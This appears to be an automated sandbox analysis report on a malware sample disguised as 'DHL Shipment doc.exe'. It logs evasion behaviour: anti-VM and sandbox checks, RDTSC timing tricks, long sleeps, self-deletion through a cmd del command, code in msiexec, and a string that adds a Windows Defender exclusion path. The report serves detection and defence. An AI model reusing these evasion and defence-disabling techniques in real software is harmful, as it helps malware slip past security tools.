Source: 3.0.DHL Shipment doc.exe.930000.1.unpack, mF/e4.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)

Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 0_2_0190F448 push esp; retf	0_2_0190F455
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 0_2_01901C58 push ebx; iretd	0_2_01901C7A
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_0041B832 push eax; ret	3_2_0041B838
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_0041B83B push eax; ret	3_2_0041B8A2
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_0041B89C push eax; ret	3_2_0041B8A2
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_0040825A push ecx; retf	3_2_0040825B
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_0040C38A pushfd ; ret	3_2_0040C3A0
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_00415CC4 push FFFFFFDFh; iretd	3_2_00415CDA
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Code function: 3_2_0041B7E5 push eax; ret	3_2_0041B838
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D5D0D1 push ecx; ret	11_2_04D5D0E4
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00EAB89C push eax; ret	11_2_00EAB8A2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00EAB83B push eax; ret	11_2_00EAB8A2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00EAB832 push eax; ret	11_2_00EAB838
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00E9825A push ecx; retf	11_2_00E9825B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00E9C38A pushfd ; ret	11_2_00E9C3A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00EA5CC4 push FFFFFFDFh; iretd	11_2_00EA5CDA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_00EAB7E5 push eax; ret	11_2_00EAB838

Source: DHL Shipment doc.exe

Static PE information: 0x9CDF513F [Mon May 26 14:03:43 2053 UTC]

Source: initial sample

Static PE information: section name: .text entropy: 7.71171540744

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd delete

Source: C:\Windows\SysWOW64\msiexec.exe	Process created: /c del "C:\Users\user\Desktop\DHL Shipment doc.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: /c del "C:\Users\user\Desktop\DHL Shipment doc.exe"			Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 0.2.DHL Shipment doc.exe.34817e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DHL Shipment doc.exe.3431884.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.692850983.0000000003442000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.692831821.0000000003411000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DHL Shipment doc.exe PID: 5032, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: DHL Shipment doc.exe, 00000000.00000002.692850983.0000000003442000.00000004.00000800.00020000.00000000.sdmp, DHL Shipment doc.exe, 00000000.00000002.692831821.0000000003411000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: DHL Shipment doc.exe, 00000000.00000002.692850983.0000000003442000.00000004.00000800.00020000.00000000.sdmp, DHL Shipment doc.exe, 00000000.00000002.692831821.0000000003411000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\DHL Shipment doc.exe	RDTSC instruction interceptor: First address: 0000000000408614 second address: 000000000040861A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	RDTSC instruction interceptor: First address: 00000000004089AE second address: 00000000004089B4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\DHL Shipment doc.exe TID: 6516	Thread sleep time: -33638s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe TID: 2124	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3220	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\DHL Shipment doc.exe

Code function: 3_2_004088E0 rdtsc

3_2_004088E0

Source: C:\Users\user\Desktop\DHL Shipment doc.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\msiexec.exe

API coverage: 8.4 %

Source: C:\Users\user\Desktop\DHL Shipment doc.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Thread delayed: delay time: 33638			Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: DHL Shipment doc.exe, 00000000.00000002.692831821.0000000003411000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
Source: explorer.exe, 00000006.00000000.711726949.000000000FD29000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}efb8b}
Source: explorer.exe, 00000006.00000000.709401670.000000000A897000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: DHL Shipment doc.exe, 00000000.00000002.692831821.0000000003411000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000006.00000000.717648166.0000000004791000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.745779172.000000000A60E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: DHL Shipment doc.exe, 00000000.00000002.692831821.0000000003411000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000006.00000000.702067652.0000000006650000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.745779172.000000000A60E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.708216741.000000000A716000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATAa
Source: explorer.exe, 00000006.00000000.746609215.000000000A897000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATA`
Source: explorer.exe, 00000006.00000000.734788131.0000000004710000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000006.00000000.708216741.000000000A716000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000006.00000000.708216741.000000000A716000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: DHL Shipment doc.exe, 00000000.00000002.692831821.0000000003411000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\Desktop\DHL Shipment doc.exe

Code function: 3_2_004088E0 rdtsc

3_2_004088E0

Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipment doc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD8CD6 mov eax, dword ptr fs:[00000030h]	11_2_04DD8CD6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC14FB mov eax, dword ptr fs:[00000030h]	11_2_04DC14FB
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D86CF0 mov eax, dword ptr fs:[00000030h]	11_2_04D86CF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D86CF0 mov eax, dword ptr fs:[00000030h]	11_2_04D86CF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D86CF0 mov eax, dword ptr fs:[00000030h]	11_2_04D86CF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1849B mov eax, dword ptr fs:[00000030h]	11_2_04D1849B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D9C450 mov eax, dword ptr fs:[00000030h]	11_2_04D9C450
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D9C450 mov eax, dword ptr fs:[00000030h]	11_2_04D9C450
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3A44B mov eax, dword ptr fs:[00000030h]	11_2_04D3A44B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D2746D mov eax, dword ptr fs:[00000030h]	11_2_04D2746D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD740D mov eax, dword ptr fs:[00000030h]	11_2_04DD740D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD740D mov eax, dword ptr fs:[00000030h]	11_2_04DD740D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD740D mov eax, dword ptr fs:[00000030h]	11_2_04DD740D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D86C0A mov eax, dword ptr fs:[00000030h]	11_2_04D86C0A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D86C0A mov eax, dword ptr fs:[00000030h]	11_2_04D86C0A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D86C0A mov eax, dword ptr fs:[00000030h]	11_2_04D86C0A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D86C0A mov eax, dword ptr fs:[00000030h]	11_2_04D86C0A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DC1C06 mov eax, dword ptr fs:[00000030h]	11_2_04DC1C06
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3BC2C mov eax, dword ptr fs:[00000030h]	11_2_04D3BC2C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D86DC9 mov eax, dword ptr fs:[00000030h]	11_2_04D86DC9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D86DC9 mov eax, dword ptr fs:[00000030h]	11_2_04D86DC9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D86DC9 mov eax, dword ptr fs:[00000030h]	11_2_04D86DC9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D86DC9 mov ecx, dword ptr fs:[00000030h]	11_2_04D86DC9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D86DC9 mov eax, dword ptr fs:[00000030h]	11_2_04D86DC9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D86DC9 mov eax, dword ptr fs:[00000030h]	11_2_04D86DC9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DB8DF1 mov eax, dword ptr fs:[00000030h]	11_2_04DB8DF1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1D5E0 mov eax, dword ptr fs:[00000030h]	11_2_04D1D5E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D1D5E0 mov eax, dword ptr fs:[00000030h]	11_2_04D1D5E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DCFDE2 mov eax, dword ptr fs:[00000030h]	11_2_04DCFDE2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DCFDE2 mov eax, dword ptr fs:[00000030h]	11_2_04DCFDE2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DCFDE2 mov eax, dword ptr fs:[00000030h]	11_2_04DCFDE2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DCFDE2 mov eax, dword ptr fs:[00000030h]	11_2_04DCFDE2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3FD9B mov eax, dword ptr fs:[00000030h]	11_2_04D3FD9B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D3FD9B mov eax, dword ptr fs:[00000030h]	11_2_04D3FD9B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D32581 mov eax, dword ptr fs:[00000030h]	11_2_04D32581
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D32581 mov eax, dword ptr fs:[00000030h]	11_2_04D32581
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D32581 mov eax, dword ptr fs:[00000030h]	11_2_04D32581
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D32581 mov eax, dword ptr fs:[00000030h]	11_2_04D32581
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D02D8A mov eax, dword ptr fs:[00000030h]	11_2_04D02D8A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D02D8A mov eax, dword ptr fs:[00000030h]	11_2_04D02D8A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D02D8A mov eax, dword ptr fs:[00000030h]	11_2_04D02D8A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D02D8A mov eax, dword ptr fs:[00000030h]	11_2_04D02D8A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D02D8A mov eax, dword ptr fs:[00000030h]	11_2_04D02D8A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D31DB5 mov eax, dword ptr fs:[00000030h]	11_2_04D31DB5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D31DB5 mov eax, dword ptr fs:[00000030h]	11_2_04D31DB5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D31DB5 mov eax, dword ptr fs:[00000030h]	11_2_04D31DB5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD05AC mov eax, dword ptr fs:[00000030h]	11_2_04DD05AC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD05AC mov eax, dword ptr fs:[00000030h]	11_2_04DD05AC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D335A1 mov eax, dword ptr fs:[00000030h]	11_2_04D335A1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D27D50 mov eax, dword ptr fs:[00000030h]	11_2_04D27D50
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D43D43 mov eax, dword ptr fs:[00000030h]	11_2_04D43D43
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D83540 mov eax, dword ptr fs:[00000030h]	11_2_04D83540
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D2C577 mov eax, dword ptr fs:[00000030h]	11_2_04D2C577
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D2C577 mov eax, dword ptr fs:[00000030h]	11_2_04D2C577
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D0AD30 mov eax, dword ptr fs:[00000030h]	11_2_04D0AD30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D13D34 mov eax, dword ptr fs:[00000030h]	11_2_04D13D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D13D34 mov eax, dword ptr fs:[00000030h]	11_2_04D13D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D13D34 mov eax, dword ptr fs:[00000030h]	11_2_04D13D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D13D34 mov eax, dword ptr fs:[00000030h]	11_2_04D13D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D13D34 mov eax, dword ptr fs:[00000030h]	11_2_04D13D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D13D34 mov eax, dword ptr fs:[00000030h]	11_2_04D13D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D13D34 mov eax, dword ptr fs:[00000030h]	11_2_04D13D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D13D34 mov eax, dword ptr fs:[00000030h]	11_2_04D13D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D13D34 mov eax, dword ptr fs:[00000030h]	11_2_04D13D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D13D34 mov eax, dword ptr fs:[00000030h]	11_2_04D13D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D13D34 mov eax, dword ptr fs:[00000030h]	11_2_04D13D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D13D34 mov eax, dword ptr fs:[00000030h]	11_2_04D13D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D13D34 mov eax, dword ptr fs:[00000030h]	11_2_04D13D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DCE539 mov eax, dword ptr fs:[00000030h]	11_2_04DCE539
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D34D3B mov eax, dword ptr fs:[00000030h]	11_2_04D34D3B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D34D3B mov eax, dword ptr fs:[00000030h]	11_2_04D34D3B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D34D3B mov eax, dword ptr fs:[00000030h]	11_2_04D34D3B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD8D34 mov eax, dword ptr fs:[00000030h]	11_2_04DD8D34
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D8A537 mov eax, dword ptr fs:[00000030h]	11_2_04D8A537
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD8ED6 mov eax, dword ptr fs:[00000030h]	11_2_04DD8ED6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D48EC7 mov eax, dword ptr fs:[00000030h]	11_2_04D48EC7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DBFEC0 mov eax, dword ptr fs:[00000030h]	11_2_04DBFEC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D336CC mov eax, dword ptr fs:[00000030h]	11_2_04D336CC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D316E0 mov ecx, dword ptr fs:[00000030h]	11_2_04D316E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D176E2 mov eax, dword ptr fs:[00000030h]	11_2_04D176E2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04D9FE87 mov eax, dword ptr fs:[00000030h]	11_2_04D9FE87
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD0EA5 mov eax, dword ptr fs:[00000030h]	11_2_04DD0EA5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD0EA5 mov eax, dword ptr fs:[00000030h]	11_2_04DD0EA5
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 11_2_04DD0EA5 mov eax, dword ptr fs:[00000030h]	11_2_04DD0EA5
